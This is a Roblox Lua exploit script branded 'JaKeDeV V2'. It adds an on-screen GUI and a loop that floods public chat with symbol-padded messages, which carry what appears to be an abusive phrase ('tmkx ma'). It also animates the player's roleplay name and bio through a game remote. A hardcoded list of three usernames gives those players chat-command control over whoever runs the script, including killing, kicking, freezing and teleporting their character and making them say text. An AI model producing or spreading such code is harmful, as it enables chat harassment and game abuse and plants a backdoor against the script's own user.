-- Configuration and Setup -- Structure: [Pattern] [Your Text] tmkx ma [Random Word] local Players = game:GetService("Players") local LP = Players.LocalPlayer local Camera = workspace.CurrentCamera local TCS = game:GetService("TextChatService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local RUN = game:GetService("RunService") -- ADMIN CONFIGURATION -- These users can control your character/spam engine via game chat commands local ADMINS = { ["greninjaYT_07"] = true, ["VENUS_EDIT"] = true, ["RIP_LUFFYRBLX1"] = true } local spinning = false local active = false local waitTime = 1.5 local currentPattern = "@#" local currentMsg = "" -- LOCAL RP NAME & BIO SETTINGS local SETTINGS = { NAME_TEXT = "JaKeDeV Spammer user", BIO_TEXT = "Welcome " .. LP.DisplayName, SPEED = 0.1, STAY_TIME = 2 } local Remote = ReplicatedStorage:WaitForChild("RE"):WaitForChild("1RPNam1eTex1t") -- 1. RGB ANIMATION ENGINE (Roleplay Name & Bio) local function runAnimation() local nameLen = #SETTINGS.NAME_TEXT local bioLen = #SETTINGS.BIO_TEXT local maxLen = math.max(nameLen, bioLen) for i = 1, maxLen do local color = Color3.fromHSV(tick() % 5 / 5, 1, 1) if i <= nameLen then Remote:FireServer("RolePlayName", SETTINGS.NAME_TEXT:sub(1, i), color) end if i <= bioLen then Remote:FireServer("RolePlayBio", SETTINGS.BIO_TEXT:sub(1, bioLen - i + 1), color) end task.wait(SETTINGS.SPEED) end task.wait(SETTINGS.STAY_TIME) for i = maxLen, 0, -1 do local color = Color3.fromHSV(tick() % 5 / 5, 1, 1) if i <= nameLen then Remote:FireServer("RolePlayName", SETTINGS.NAME_TEXT:sub(1, i), color) end if i <= bioLen then Remote:FireServer("RolePlayBio", SETTINGS.BIO_TEXT:sub(1, bioLen - i + 1), color) end task.wait(SETTINGS.SPEED) end end task.spawn(function() while true do runAnimation() task.wait(0.1) end end) -- 2. SPAM ENGINE (Classic SamDev V5 Texts) local function send(text, mode) local finalMsg = "" local rawWords = { "JaKeDeV papa⚔️", "JaKeDeV papa bolde", "figer", "Pan", "idk", "Cat", "Tent", "lun", "You", "Ts", "Meow", "Cow", "VwS", "Eren" } if mode == "SPAM" then local randomWord = rawWords[math.random(1, #rawWords)] local middle = (text ~= "" and (text .. " ") or "") local core = middle .. "tmkx ma " .. randomWord local patternStr = "" while (#patternStr + #currentPattern) <= (197 - #core) do patternStr = patternStr .. currentPattern end finalMsg = patternStr .. " " .. core elseif mode == "LOADED" then local patternStr = "" while (#patternStr + #currentPattern) <= (197 - #text) do patternStr = patternStr .. currentPattern end finalMsg = patternStr .. " " .. text else finalMsg = text end -- Safe chat execution for both legacy and new TextChatService systems pcall(function() TCS.TextChannels.RBXGeneral:SendAsync(finalMsg) end) pcall(function() ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(finalMsg, "All") end) end -- 3. GUI BUILDER (Screen Interface) local sg = Instance.new("ScreenGui", LP.PlayerGui) sg.Name = "JAKEDEV_V2_INTERFACE" sg.ResetOnSpawn = false local logo = Instance.new("TextButton", sg) logo.Size = UDim2.new(0, 45, 0, 45) logo.Position = UDim2.new(0.05, 0, 0.4, 0) logo.BackgroundColor3 = Color3.fromRGB(15,15,15) logo.Text = "JAKEDEV" logo.Font = Enum.Font.GothamBold logo.TextSize = 10 logo.Draggable = true logo.TextColor3 = Color3.new(1,1,1) Instance.new("UICorner", logo).CornerRadius = UDim.new(0.5, 0) local logoStroke = Instance.new("UIStroke", logo) logoStroke.Thickness = 2 logoStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border local mainFrame = Instance.new("Frame", sg) mainFrame.Size = UDim2.new(0, 320, 0, 380) mainFrame.Position = UDim2.new(0.5, -160, 0.5, -190) mainFrame.BackgroundColor3 = Color3.fromRGB(15,15,15) mainFrame.Visible = false mainFrame.Active = true mainFrame.Draggable = true Instance.new("UICorner", mainFrame).CornerRadius = UDim.new(0, 10) local frameStroke = Instance.new("UIStroke", mainFrame) frameStroke.Thickness = 2 frameStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border local container = Instance.new("ScrollingFrame", mainFrame) container.Size = UDim2.new(1, 0, 0.88, 0) container.Position = UDim2.new(0, 0, 0.12, 0) container.BackgroundTransparency = 1 container.CanvasSize = UDim2.new(0, 0, 1.3, 0) container.ScrollBarThickness = 2 local layout = Instance.new("UIListLayout", container) layout.Padding = UDim.new(0, 10) layout.HorizontalAlignment = Enum.HorizontalAlignment.Center -- UI Rainbow Visual Handler & Spin Mechanic RUN.RenderStepped:Connect(function() local color = Color3.fromHSV(tick() % 5 / 5, 1, 1) logoStroke.Color = color frameStroke.Color = color logo.TextColor3 = color if spinning and LP.Character and LP.Character:FindFirstChild("HumanoidRootPart") then LP.Character.HumanoidRootPart.CFrame *= CFrame.Angles(0, math.rad(25), 0) end end) logo.MouseButton1Click:Connect(function() mainFrame.Visible = not mainFrame.Visible end) -- Pattern Selector Buttons inside GUI local pScroll = Instance.new("ScrollingFrame", container) pScroll.Size = UDim2.new(0.9, 0, 0, 35) pScroll.BackgroundTransparency = 1 pScroll.CanvasSize = UDim2.new(3, 0, 0, 0) pScroll.ScrollBarThickness = 0 local pList = Instance.new("UIListLayout", pScroll) pList.FillDirection = Enum.FillDirection.Horizontal pList.Padding = UDim.new(0, 5) pList.VerticalAlignment = Enum.VerticalAlignment.Center local patterns = {"@", "#", "$", "*", "_", "@_", "suda_?", "P_", "J_A_K_E_"} for _, p in pairs(patterns) do local b = Instance.new("TextButton", pScroll) b.Size = UDim2.new(0, 60, 0, 25) b.Text = p b.BackgroundColor3 = Color3.fromRGB(30,30,30) b.TextColor3 = Color3.new(1,1,1) Instance.new("UICorner", b) b.MouseButton1Click:Connect(function() currentPattern = p send("Pattern switched to: "..p, "LOADED") end) end -- GUI Text Fields local function createBox(placeholder) local box = Instance.new("TextBox", container) box.Size = UDim2.new(0.9, 0, 0, 35) box.PlaceholderText = placeholder box.Text = "" box.BackgroundColor3 = Color3.fromRGB(25,25,25) box.TextColor3 = Color3.new(1,1,1) Instance.new("UICorner", box) return box end local customP = createBox("Custom Pattern...") customP.FocusLost:Connect(function() if customP.Text ~= "" then currentPattern = customP.Text end end) local msgBox = createBox("Enter Message...") msgBox.FocusLost:Connect(function() currentMsg = msgBox.Text end) local dlyBox = createBox("Delay (Default 1.5)") dlyBox.FocusLost:Connect(function() waitTime = tonumber(dlyBox.Text) or 1.5 end) -- GUI Action Toggles local sBtn = Instance.new("TextButton", container) sBtn.Size = UDim2.new(0.9, 0, 0, 40) sBtn.Text = "START" sBtn.BackgroundColor3 = Color3.fromRGB(0, 80, 0) sBtn.TextColor3 = Color3.new(1,1,1) sBtn.Font = Enum.Font.GothamBold Instance.new("UICorner", sBtn) local stopBtn = Instance.new("TextButton", container) stopBtn.Size = UDim2.new(0.9, 0, 0, 40) stopBtn.Text = "STOP" stopBtn.BackgroundColor3 = Color3.fromRGB(80, 0, 0) stopBtn.TextColor3 = Color3.new(1,1,1) stopBtn.Font = Enum.Font.GothamBold Instance.new("UICorner", stopBtn) sBtn.MouseButton1Click:Connect(function() active = true sBtn.Text = "RUNNING..." end) stopBtn.MouseButton1Click:Connect(function() active = false sBtn.Text = "START" end) -- 4. CHAT COMMAND CONTROLLER local function processCommand(msg, sender) local args = msg:split(" ") local cmd = args[1]:lower() local char = LP.Character local hum = char and char:FindFirstChild("Humanoid") local root = char and char:FindFirstChild("HumanoidRootPart") if cmd == "!target" and args[2] then currentMsg = args[2] elseif cmd == "!start" then active = true sBtn.Text = "RUNNING..." elseif cmd == "!stop" then active = false sBtn.Text = "START" elseif (cmd == "!delay" or cmd == "!spamspeed") and args[2] then waitTime = tonumber(args[2]) or 1.5 elseif cmd == "!pattern" and args[2] then currentPattern = args[2] elseif cmd == "!say" then send(msg:sub(6), "CLEAN") elseif cmd == "!kill" and hum then hum.Health = 0 elseif cmd == "!kick" then LP:Kick("Kicked by Admin: " .. sender.Name) elseif cmd == "!sit" and hum then hum.Sit = true elseif cmd == "!speed" and args[2] and hum then hum.WalkSpeed = tonumber(args[2]) elseif cmd == "!jumppower" and args[2] and hum then hum.JumpPower = tonumber(args[2]) hum.UseJumpPower = true elseif cmd == "!freeze" and hum then hum.WalkSpeed = 0 elseif cmd == "!unfreeze" and hum then hum.WalkSpeed = 16 elseif cmd == "!spin" then spinning = not spinning elseif cmd == "!goto" and args[2] then for _, v in pairs(Players:GetPlayers()) do if v.Name:lower():sub(1, #args[2]) == args[2]:lower() and root then root.CFrame = v.Character.HumanoidRootPart.CFrame end end elseif cmd == "!view" and args[2] then for _, v in pairs(Players:GetPlayers()) do if v.Name:lower():sub(1, #args[2]) == args[2]:lower() then Camera.CameraSubject = v.Character:FindFirstChild("Humanoid") end end elseif cmd == "!unview" and hum then Camera.CameraSubject = hum end end local function onChatReceived(player, msg) if ADMINS[player.Name] then processCommand(msg, player) end end -- Global Listeners for Admin Chat Players.PlayerAdded:Connect(function(p) p.Chatted:Connect(function(m) onChatReceived(p, m) end) end) for _, p in pairs(Players:GetPlayers()) do p.Chatted:Connect(function(m) onChatReceived(p, m) end) end TCS.MessageReceived:Connect(function(msg) local p = Players:GetPlayerByUserId(msg.TextSource.UserId) if p then onChatReceived(p, msg.Text) end end) -- 5. SPAM ENGINE TASK LOOP task.spawn(function() while true do if active and currentMsg ~= "" then send(currentMsg, "SPAM") task.wait(waitTime) else task.wait(0.5) end end end) send("✨ JAKEDEV V2 ACTIVATED (SAMDEV V5 TEXT ENGINE)", "LOADED")